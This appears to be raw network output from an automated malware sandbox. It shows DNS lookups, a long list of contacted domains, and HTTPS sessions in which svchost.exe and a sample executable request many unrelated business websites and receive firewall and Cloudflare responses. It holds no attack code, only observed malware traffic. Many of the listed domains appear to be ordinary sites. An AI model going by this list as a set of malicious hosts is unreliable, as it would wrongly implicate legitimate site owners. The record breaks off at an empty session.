Mar 10, 2023 07:56:56.929342985 CET	8.8.8.8	192.168.2.6	0x8e81	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.934221983 CET	8.8.8.8	192.168.2.6	0x99ab	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.941870928 CET	8.8.8.8	192.168.2.6	0xc6d6	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.951019049 CET	8.8.8.8	192.168.2.6	0x1f8f	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.958175898 CET	8.8.8.8	192.168.2.6	0x4ef6	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.961561918 CET	8.8.8.8	192.168.2.6	0x4cb4	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.962451935 CET	8.8.8.8	192.168.2.6	0xb84b	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.964768887 CET	8.8.8.8	192.168.2.6	0x5522	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.975135088 CET	8.8.8.8	192.168.2.6	0x2960	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.976363897 CET	8.8.8.8	192.168.2.6	0xd50c	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.977256060 CET	8.8.8.8	192.168.2.6	0xe6b6	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.977744102 CET	8.8.8.8	192.168.2.6	0xdc9b	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.988106012 CET	8.8.8.8	192.168.2.6	0x9b13	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.989993095 CET	8.8.8.8	192.168.2.6	0x9e14	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.010792017 CET	8.8.8.8	192.168.2.6	0xa824	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.011523008 CET	8.8.8.8	192.168.2.6	0x17da	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.024998903 CET	8.8.8.8	192.168.2.6	0x719c	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.027996063 CET	8.8.8.8	192.168.2.6	0x8278	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.033459902 CET	8.8.8.8	192.168.2.6	0x171a	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.058829069 CET	8.8.8.8	192.168.2.6	0x9bf7	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.061570883 CET	8.8.8.8	192.168.2.6	0x53f7	No error (0)	juso-gr.ch		104.21.50.140	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.061570883 CET	8.8.8.8	192.168.2.6	0x53f7	No error (0)	juso-gr.ch		172.67.163.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.183182955 CET	8.8.8.8	192.168.2.6	0x8d42	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.183182955 CET	8.8.8.8	192.168.2.6	0x8d42	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.183182955 CET	8.8.8.8	192.168.2.6	0x8d42	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.185434103 CET	8.8.8.8	192.168.2.6	0x57d6	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.193557024 CET	8.8.8.8	192.168.2.6	0xe7d9	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.200412035 CET	8.8.8.8	192.168.2.6	0x88fe	No error (0)	hyab.se		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.200412035 CET	8.8.8.8	192.168.2.6	0x88fe	No error (0)	hyab.se		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.217629910 CET	8.8.8.8	192.168.2.6	0xf011	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.220403910 CET	8.8.8.8	192.168.2.6	0x6489	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.227639914 CET	8.8.8.8	192.168.2.6	0x37f9	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.250735044 CET	8.8.8.8	192.168.2.6	0x9e9e	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.259291887 CET	8.8.8.8	192.168.2.6	0xe256	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.265867949 CET	8.8.8.8	192.168.2.6	0x94b7	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.300374031 CET	8.8.8.8	192.168.2.6	0x3713	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.302786112 CET	8.8.8.8	192.168.2.6	0x13aa	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

techtrans.de

diamir.de

clinicasanluis.com.co

orlyhotel.com

www.muhr-soehne.de

pleszew.policja.gov.pl

dataform.co.uk

sigtoa.com

www.diamir.de

hyab.se

nts-web.net

www.dgmna.com

www.jenco.co.uk

www.olras.com

www.quadlock.com

www.pdqhomes.com

www.baijaku.com

www.pr-park.com

www.rs-ag.com

www.alteor.cl

www.valdal.com

www.item-pr.com

www.depalo.com

www.credo.edu.pl

www.mqs.com.br

www.elpro.si

www.vazir.se

www.tvtools.fi

www.otena.com

www.transsib.com

www.nunomira.com

www.petsfan.com

www.abart.pl

www.iamdirt.com

www.nelipak.nl

www.t-tre.com

www.abdg.com

www.evcpa.com

www.naoi-a.com

www.ora.ecnet.jp

www.wifi4all.nl

www.hummer.hu

www.vexcom.com

www.edimart.hu

www.synetik.net

www.cokocoko.com

www.xaicom.es

www.fcwcvt.org

www.waldi.pl

www.jacomfg.com

www.sjbs.org

www.yocinc.org

www.pcgrate.com

www.aevga.com

www.snugpak.com

www.speelhal.net

www.maktraxx.com

www.jchysk.com

www.findbc.com

www.stnic.co.uk

www.vitaindu.com

www.photo4b.com

www.holleman.us

www.valselit.com

www.c9dd.com

www.dayvo.com

www.fink.com

www.cel-cpa.com

www.crcsi.org

www.netcr.com

www.domon.com

www.2print.com

www.mobilnic.net

www.stajum.com

www.fe-bauer.de

www.x0c.com

www.ora-ito.com

www.lrsuk.com

www.pwd.org

www.nqks.com

www.myropcb.com

www.pupi.cz

www.gpthink.com

www.yoruksut.com

www.medius.si

www.ka-mo-me.com

www.com-sit.com

www.kernsafe.com

www.railbook.net

www.fnsds.org

www.pohlfood.com

www.11tochi.net

www.pb-games.com

www.sclover3.com

www.tyrns.com

www.spanesi.com

www.tc17.com

karila.fr

fifa-ews.com

bount.com.tw

dbnet.at

ramkome.com

biosolve.com

sinwal.com

shittas.com

cbras.com

mcseurope.nl

k-nikko.com

nels.co.uk

jabian.com

cyclad.pl

hamaker.net

shesfit.com

kavram.com

oaith.ca

gbmfg.com

refintl.org

mikihan.com

holp-ai.com

icd-host.com

isom.org

vdoherty.com

burstner.ru

bggs.com

ossir.org

mackusick.de

wanoa.com

gcss.com

top1oil.com

canasil.com

4locals.net

gydrozo.ru

uhsa.edu.ag

ntc.edu.au

zugseil.com

cubodown.com

fogra.com.pl

anduran.com

wnit.org

nrsi.com

ruzee.com

angework.com

univi.it

kallman.net

akr.co.id

aluminox.es

doggybag.org

yhsll.com

s5w.com

t-mould.com

biurohera.pl

ikulani.com

listel.co.jp

geecl.com

mondopp.net

absblast.com

zupraha.cz

metaforacom.com

skypearl.com

muhr-soehne.de

insia.com

strazynski.pl

kustnara.com

htsmx.net

kevyt.net

kairel.com

reproar.com

scintel.com

oh28ya.com

cutchie.com

kamptal.at

cpmteam.com

paraski.org

vonparis.com

arowines.com

semuk.com

coxkitchensandbaths.com

bosado.com

missnue.com

shanks.co.uk

redgiga.com

fundeo.com

stopllc.com

themark.org

tabbles.net

onzcda.com

unicus.jp

dzm.cz

orbitgas.com

captlfix.com

skgm.ru

epc.com.au

plaske.ua

cbaben.com

ftmobile.com

kursavto.ru

aba.org.eg

keio-web.com

amerifor.com

indonesiamedia.com

ssm.ch

vivastay.com

hazmatt.com

wvs-net.de

rappich.de

from30ty.com

tbvlugus.nl

riwn.org

johnlyon.org

camamat.com

magicomm.co.uk

impexnc.com

any-s.net

fdlymca.org

t-trust.jp

infotech.pl

tcpoa.com

revoldia.net

dayvo.com

pertex.com

web-york.com

pellys.co.uk

popbook.com

pccj.net

aiolos-sa.gr

envogen.com

webways.com

bossinst.com

akdeniz.nl

softizer.com

host.do

vfcindia.com

hes.pt

juso-gr.ch

yasuma.com

sokuwan.net

lpver.com

likangds.com

rtcasey.com

umcor.am

linac.co.uk

calvinly.com

smitko.net

enguita.net

mackusick.com

dspears.com

apcotex.com

roewer.de

bible.org

nettle.pl

bidroll.com

yoruksut.com

dhh.la.gov

com-edit.fr

78san.com

noblesse.be

avse.hu

duiops.net

iranytu.net

touchfam.ca

ludomemo.com

okashimo.com

bd-style.com

beafin.com

wantapc.net

daytonir.com

notis.ru

cjborden.com

shteeble.com

xult.org

karmy.com.pl

snf.it

hchc.org

a-domani.com

shztm.ru

hbfuels.com

webavant.com

ifesnet.com

lyto.net

oozkranj.com

atb-lit.com

portoccd.org

floopis.com

tozzhin.com

banvari.com

araax.com

hubbikes.com

mijash3.com

ncn.de

rokoron.com

kewlmail.com

shiner.com

x96.com

siongann.com

aoinko.net

zemarmot.net

gbp-jp.com

kumaden.com

jnf.at

midap.com

dyag-eng.com

komie.com

agulatex.com

sidepath.com

rkengg.com

eos-i.com

forbin.net

valselit.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	50310	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:55:59 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:55:59 UTC	1	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:55:59 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:55:59 UTC	1	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	50353	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:55:59 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:55:59 UTC	1	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:55:59 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:55:59 UTC	1	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	50893	188.114.97.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	149	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:14 UTC	150	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gTK1qps7P0cbbwJ4lykjwpor2OZM3w9hNehKfVwNkiMCIkzFs33tDPr%2BKwB3VDRiNjmJohPoa%2BfzE2LkycvRpMrLuqkyZHMD1DIwSLd8zSHXbb%2BkWnFeFHpsDGD4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8178ae75b9e-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:14 UTC	151	IN	Data Raw: 31 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebc<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:14 UTC	151	IN	Data Raw: 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c Data Ascii: th,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img cl
2023-03-10 06:56:14 UTC	153	IN	Data Raw: 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 6d 53 68 6a 49 79 45 6b 79 67 65 34 63 32 71 73 69 75 44 7a 31 4d 6b 65 6d 31 65 41 70 36 43 77 4e 43 37 37 75 65 56 56 53 44 55 2d 31 36 37 38 34 33 31 33 37 34 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 4f 56 65 66 4c 43 6d 78 39 70 4c 71 73 69 51 76 65 46 75 52 72 46 75 35 30 35 62 32 5a 5a 37 44 30 61 67 4e 4f 39 68 32 62 63 49 2d 31 36 37 38 34 33 31 33 37 34 2d 30 2d Data Ascii: n="/?__cf_chl_f_tk=mShjIyEkyge4c2qsiuDz1Mkem1eAp6CwNC77ueVVSDU-1678431374-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="OVefLCmx9pLqsiQveFuRrFu505b2ZZ7D0agNO9h2bcI-1678431374-0-
2023-03-10 06:56:14 UTC	154	IN	Data Raw: 2d 70 5a 63 77 6b 66 44 53 67 76 77 49 4d 66 66 31 57 6b 63 5a 42 5f 4d 77 72 6f 69 73 4b 47 75 2d 73 63 58 77 36 6f 73 36 61 50 4b 6c 33 37 54 45 42 4e 42 6b 61 48 75 76 77 37 79 32 2d 7a 59 69 41 4d 6c 4f 70 35 41 75 67 71 53 4d 36 71 71 77 51 5f 41 59 6e 43 63 6e 44 74 41 66 68 39 62 38 67 47 65 55 41 6f 74 5f 6f 35 57 53 51 77 35 4a 63 35 50 2d 4b 50 4e 4e 73 4f 36 41 76 75 4a 43 70 4d 65 56 58 49 63 74 31 4e 68 69 49 56 62 4c 6f 4b 72 71 35 72 41 31 75 58 68 59 6c 54 65 48 7a 61 48 35 79 69 50 52 5f 59 70 65 4d 62 79 4b 4f 44 76 50 39 6d 37 67 43 35 39 64 6d 47 71 79 53 4a 6f 6a 71 34 49 5f 73 37 5a 72 50 48 6b 57 5f 48 34 58 33 76 51 45 51 6a 54 72 38 50 76 62 53 30 62 46 54 4a 38 49 6e 44 55 59 76 77 68 75 6b 32 65 49 45 50 76 79 45 6d 77 50 4a 74 Data Ascii: -pZcwkfDSgvwIMff1WkcZB_MwroisKGu-scXw6os6aPKl37TEBNBkaHuvw7y2-zYiAMlOp5AugqSM6qqwQ_AYnCcnDtAfh9b8gGeUAot_o5WSQw5Jc5P-KPNNsO6AvuJCpMeVXIct1NhiIVbLoKrq5rA1uXhYlTeHzaH5yiPR_YpeMbyKODvP9m7gC59dmGqySJojq4I_s7ZrPHkW_H4X3vQEQjTr8PvbS0bFTJ8InDUYvwhuk2eIEPvyEmwPJt
2023-03-10 06:56:14 UTC	155	IN	Data Raw: 63 52 61 79 3a 20 27 37 61 35 39 61 38 31 37 38 61 65 37 35 62 39 65 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 39 63 38 61 61 36 63 64 39 39 36 32 39 33 65 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 6d 53 68 6a 49 79 45 6b 79 67 65 34 63 32 71 73 69 75 44 7a 31 4d 6b 65 6d 31 65 41 70 36 43 77 4e 43 37 37 75 65 56 56 53 44 55 2d 31 36 37 38 34 33 31 33 37 34 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 Data Ascii: cRay: '7a59a8178ae75b9e', cHash: '9c8aa6cd996293e', cUPMDTk: "\/?__cf_chl_tk=mShjIyEkyge4c2qsiuDz1Mkem1eAp6CwNC77ueVVSDU-1678431374-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:14 UTC	157	IN	Data Raw: 54 49 61 77 71 6e 35 74 56 37 6e 6d 70 77 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 71 65 36 69 45 2b 55 38 52 35 44 63 31 62 4d 30 51 34 34 62 4c 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 Data Ascii: TIawqn5tV7nmpw==', i2: 'qe6iE+U8R5Dc1bM0Q44bLg==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7
2023-03-10 06:56:14 UTC	158	IN	Data Raw: 4f 67 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 Data Ascii: OgUHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contenti
2023-03-10 06:56:14 UTC	159	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	58452	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:21 UTC	1587	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:21 UTC	1588	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:21 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:21 UTC	1588	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	58254	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
